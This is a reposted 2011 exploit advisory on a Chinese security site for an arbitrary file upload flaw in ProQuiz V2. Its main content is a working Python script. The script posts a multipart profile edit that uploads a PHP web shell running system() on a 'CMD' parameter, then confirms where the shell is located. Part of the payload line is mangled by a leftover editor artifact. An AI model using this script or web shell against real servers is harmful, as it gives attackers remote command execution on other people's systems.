首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ProQuiz 2 Shell Upload
来源:http://www.autosectools.com 作者:autosectools 发布时间:2011-02-23  
# ------------------------------------------------------------------------
# Software................ProQuiz V2
# Vulnerability...........Arbitrary Upload
# Download................http://proquiz.softon.org/
# Release Date............2/20/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# ------------------------------------------------------------------------
# 
# --Description--
# 
# An arbitrary upload vulnerability in ProQuiz V2 can be exploited to
# upload a PHP shell.
# 
# 
# --PoC--
import socket

host = 'localhost'
path = '/proquizv2b'
shell_path = path + '/images/upload/users/.php'
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    

    s.send('POST ' + path + '/functions.php?action=edit_profile&type=other HTTP/1.1\r\n'
           'Host: localhost\r\n'
           'Connection: keep-alive\r\n'
           'Referer: http://localhost/proquizv2b/my_account.php?action=getpage&page=edit_profile&type=other\r\n'
           'Content-Length: 718\r\n'
           'Cache-Control: max-age=0\r\n'
           'Origin: http://localhost\r\n'
           'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16\r\n'
           'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'
           'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'
           'Accept-Encoding: gzip,deflate,sdch\r\n'
           'Accept-Language: en-US,en;q=0.8\r\n'
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
           '\r\n'
           '------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'
           'Content-Disposition: form-data; name="fname"\r\n'
           '\r\n'
           'test\r\n'
           '------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'
           'Content-Disposition: form-data; name="lname"\r\n'
           '\r\n'
           'test\r\n'
           '------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'
           'Content-Disposition: form-data; name="profile"\r\n'
           '\r\n'
           '\r\n'
           '------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'
           'Content-Disposition: form-data; name="dob"\r\n'
           '\r\n'
           '10/10/10\r\n'
           '------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'
           'Content-Disposition: form-data; name="gender"\r\n'
           '\r\n'
           'm\r\n'
           '------WebKitFormBoundary4IQJE6qsLBAizBLu\r\n'
           'Content-Disposition: form-data; name="photo"; filename="shell.php"\r\n'
           'Content-Type: image/jpeg\r\n'
           '\r\n'
           '<?php echo \'<pre>\' + system(
___FCKpd___0
GET[\'CMD\']) + \'</pre>\'; ?>\r\n' '------WebKitFormBoundary4IQJE6qsLBAizBLu--\r\n') resp = s.recv(8192) http_redirect = 'HTTP/1.1 302' http_ok = 'HTTP/1.1 200' if http_redirect not in resp[:len(http_redirect)]: print 'error uploading shell' return else: print 'shell uploaded' s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\ 'Host: ' + host + '\r\n\r\n') if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found' else: print 'shell located at http://' + host + shell_path upload_shell()

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SideBooks v1.0 for iPhone / iP
·WordPress Uploadify 1.0 Shell
·FtpDisc v1.0 for iPhone / iPod
·Red Hat Enterprise Linux seuns
·Solar FTP 2.1 Denial of Servic
·WinMerge v2.12.4 Project File
·JAKCMS <= v2.01 RC1 Blind SQL
·Air Files v2.6 for iPhone / iP
·BEES企业网站管理系统 v1.6后台
·Filer Lite v2.1.0 for iPhone /
·iDocManager v1.0.0 for iPhone
·myDBLite v1.1.10 for iPhone /
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved